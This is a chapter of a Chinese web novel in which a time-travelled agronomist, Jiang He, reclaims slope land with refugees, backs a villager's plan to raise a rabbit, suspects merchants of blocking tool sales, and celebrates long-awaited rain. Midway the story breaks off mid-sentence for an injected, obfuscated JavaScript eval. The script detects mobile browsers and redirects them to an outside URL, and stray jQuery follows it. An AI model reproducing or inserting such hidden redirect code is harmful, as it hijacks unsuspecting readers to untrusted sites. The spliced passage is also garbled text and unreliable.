姜禾挖野菜的时候,也顺便观察了一下周围的地势,因为她有心开些荒地,种点蔬菜瓜果。
一来可以自己吃,改善改善伙食;二来等到七月的乞巧节和中元节,可以提前一日准备好,赶节去卖,帮众人换些银钱补贴家用。
旧时乞巧节,民间女子会在院中设香案,供奉茶酒瓜果,拜织女祈求巧艺、或者姻缘子嗣。中元节的时候,道观作斋醮,佛寺设盂兰盆会,同样需备各种瓜果作为供奉。这两个节日期间,香客游人云集,各种表演热闹非凡,瓜菜的需求量极大。
只是想法虽好,实施起来却不容易。
姜禾之前翻看地图志就发现,祖历这一带都是高地,庄稼大都种在塬上。
以前在学校的时候,试验田虽然完美避开了所有有利地形,但也没夸张到要去坡地和石头缝里刨食。
眼下这情况,还真是比较棘手。
姜禾仔细搜寻着以前的记忆,想看看以前上学的时候,有没有哪本教材里提到过这种地形该怎么耕种。
一般姜禾想事情的时候都特别专注,可还没等她理清思路,一阵吵闹声从不远处传来。
有人抓了只兔子,大伙儿都围过去看热闹,七嘴八舌地讨论着要怎么做才好吃。
毕竟都很久没见过荤腥了,这会儿看见兔子,一个个两眼放光,恨不得立刻剥了皮架火上烤了。
姜禾被吵得没法再专心想事,正要开口说两句,王氏却先道:“哎呀,这是只母兔子呢。”
大伙儿听了也不在意,母兔公兔都是兔子,照样能吃。没人搭话,都继续热火朝天地讨论怎么吃。
过了一会,王氏又道:“不如养着,要是再能抓只公兔子,往后不就能养一窝了?”
姜禾听了倒是有些意外,问道:“兔子挺容易应激的,能养活吗?”
王氏虽然没听懂应激是什么意思,但后半句听明白了,当即道:“能啊,我以前养过。当年我家男人打猎时抓回来几只,我见长得可爱就留着养了。本来就三四只,结果这玩意儿特能生,没多久就变成一大窝了。”
姜禾一听她有经验,也觉得可行,道:“好呀,那就你养着试试看吧。”
王氏却一下子缩了回去,慌乱道:“哎呀不行不行,我、我怕养不活。万一死了,大伙儿不都白指望了?”说着说着声音越来越小,道:“再说了,现在人都不够吃,还养兔子,兔子也要吃东西的,拿什么喂啊。刚、刚才是我太草率了,没想清楚就胡乱说。”
姜禾顿了顿,没有说话。
其实她很早就注意到王氏了。
初来祖厉,姜禾第一次向灾民们问话的时候,所有人都沉默不语,只有王氏敢开口回答。从那时起,姜禾就对她有了印象。
可见她并非那种唯唯诺诺、毫无主见的人。
但是后来姜禾又留意到,王氏每次说完话都会下意识地观察别人的脸色,上次姜禾问她地里的事情也是,回答完就紧张地瞄田官的神色。
就像这次养兔子的提议。这主意是好是坏,能不能成?姜禾自己也说不准,毕竟她没养过兔子,不太了解。
可王氏有过养兔子的经验,光这一点就已经胜过在场的大多数人了。但真要让她去做时,她却习惯性地退缩。都还没人质疑呢,她自己就先把自己否定了,说什么想法不成熟、太草率。
姜禾心里有些感慨。很多事情在成功之前,都是个不成熟的想法啊!就算后面没能成功,也不一定是想法的问题;即便确实是最初的想法不够成熟,只要在做的过程中不断改进,总能走出一条路来。
不去做的话,那永远都是停留在不成熟的阶段,难道会更好吗?
敢想敢做是个很可贵的品质。但很多人都长期处在贬低和规训下,慢慢就失去了这种能力。
看着王氏这副模样,姜禾心里有些心疼,便宽慰道:“那有什么关系呀?养不活就吃掉嘛,反正本来也是打算吃的。你养着它,它还能多活些日子,这不是好事吗?”
“不管怎样先试试看。万一真养活了,以后岂不是不缺肉吃了。就算养不活,也没什么损失呀!”
周围的人听了都纷纷点头附和,说是这个理儿,也不讨论怎么做了好吃了,都让王氏放心大胆地试试看。
话题很快就转到了怎么把兔子养活上。有人说兔子爱吃青草,得多割些嫩的;还有个人说自己以前养过鸡鸭,虽说不是兔子,但喂养的道理应该差不多,到时候帮你看着点儿。
姜禾站在一旁,看着这些人你一言我一语地出主意,心里暖烘烘的。
姜禾琢磨着开荒的事情,想来想去,觉得对于坡地,最好的办法就是把它划分成若干小方块或者条带,向下深挖作区,挖出的土堆在四周筑起小埂,既能蓄住雨水,又能防止水土流失。
主意是有了,可怎么干还是个问题。这法子说起来简单,做起来要求却比较高,挖多深、埂多高、间距多宽都有讲究。
姜禾索性亲自下场,带着几个机灵的庄户在一块坡地上做试验。
开荒的活儿又脏又累,从日出干到日落,腰酸背痛是常事,可这些庄户没一个叫苦的。很多人天不亮就等在地头,遇到问题就一起琢磨,想出办法就马上尝试。
忙活了快一周,第一块区田总算成了。
几个庄户黑红的脸上满是笑容,已经开始琢磨种些什么了。
这些日子相处下来,姜禾越发觉得,这些人身上有种农人特有的质朴且坚韧、乐天而真诚的精神。好像就算有天大的难事摆在眼前,也不会轻易被压垮。
而且经历了那么多事情,从抗旱到开荒,这群原本来自不同地方、互不相识的人,也都渐渐熟络起来,感情越发醇厚。对姜禾的态度也不再是把她当成上官那种战战兢兢的恭敬,更多的是一种发自内心的信任和亲近。就像是自家出了个有本事的后生,既让人骄傲,又忍不住想护着、疼着,干活时总想着法儿把重活揽过去,不让她太过辛苦。
这中间,田官来找过姜禾,说是王爷拨了一部分钱买农具,但商家要么说没有,要么是开天价。转悠了一圈也没买成。还说最近应该是有什么人处处跟王爷作对,农具的事情估计也是他们使的坏。
“好在种子粮的事情下手早,已经解决了,不然现在估摸着也没人敢卖种粮给咱们了。”
说到种粮,姜禾就想到了办法,道:“去找那些小粮商,让他们想办法弄些农具来。”
田官半信半疑,道:“他们会帮忙吗?”
“会的。”姜禾看着田官,笃定道:“他们跟官府合作卖种粮,早就开罪了大粮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087435|193470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
商。眼下除了抱紧官府这条大腿,还能有什么出路。这笔账他们算得清。”
田官走后,姜禾倒是琢磨起另一件事来。
抬高必需品价格,拒绝出售农具?几个普通商人,竟敢这么明目张胆地跟官府叫板,未免也太嚣张了吧。姜禾虽然不懂政治,但她在二十一世纪活了那么多年,父母经营的产业也不小,耳濡目染之下,多少明白些商场规矩。做生意讲究的是和气生财,跟官府打交道更得小心谨慎,哪有公然对着干的道理?除非,他们背后已经有了靠山。
真想不到,一个小小的祖厉,竟然有这么多牛鬼蛇神。怪不得萧昫当初一听祖厉乱了,就马不停蹄连夜赶来了。
正想着,姜禾感觉脸上落了几滴雨,她伸手擦了擦,后知后觉道:“下雨了?”
抬头看,果然阴云密布,不远处天色都是黑的。
“下雨了!”
“终于下雨了。”
“老天爷开眼了!”
有人扯着嗓子喊了起来,丢掉手里的农具,冲到田里,张开双臂,任凭雨水落在脸上。
“有救了。”
“终于有救了。”
越来越多的人兴奋地大喊起来,在雨里狂奔着。不知是谁起了个调子,唱起了古老的祈雨歌谣,声音粗粝却欢快。很快,越来越多的人加入进来,他们手拉着手,在雨里跳起来、转起来,泥水溅了一身也不在乎。
姜禾站在原地看着,突然,一只手拉住了她,还没反应过来,她就被拽进了人群。
雨越下越大,很快所有人就都被淋透了,可没人在意。
姜禾被簇拥在人群中间。
他们皮肤粗糙,脸上都是岁月留下的深深沟壑,但眼神却很清明,脸上的笑意真诚地让人动容。
很多人笑着笑着,突然激动地哭了出来。
姜禾也感觉鼻尖酸酸的。
这场雨来得太及时了。
姜禾想起前段时间萧昫的样子,他虽然没说什么,但也能看出挺焦虑的,因为修渠的事情一直没有进展,再拖下去别说灌溉用的水,怕是连吃的水也要紧俏起来。
现下,有了这场雨,大家都可以喘口气了。
而且听说安定那边的局势也稳住了。赈济令颁下去之后,各地有样学样,小规模的民变消停了不少。至于那些千人以上的大规模动乱,也被周青和郑安两人逐步平定了。
往后的日子应该不会太难了。
虽然说已经到了五月,但是晚上的天气还是有点凉的。姜禾身子本来就没完全恢复好,白天又淋了雨,一连打了好几个喷嚏。
萧昫不放心,命人煮了红枣姜茶送来。这会儿姜禾正裹着被子坐在榻上,手里捧着热腾腾的姜茶小口小口地喝着,每喝一口都把腮帮子撑得鼓鼓的,像只囤食的小仓鼠。
萧昫在一旁看着,忍不住笑:“瞧你,伤还没好全,就这么胡闹,到底谁才是小朋友?”
顿了顿似是想到了什么,啧了一声又道:“十五岁啊,已经到适婚年龄了呢。”
姜禾一听十五岁,适婚,嘴里的姜茶差点一口喷出来。
十五岁在现代也就是初中刚毕业的年纪啊,适个屁的婚,她都快奔三了还母胎单身呢,谈恋爱哪有那么容易啊,男朋友是会从天上掉下来吗?!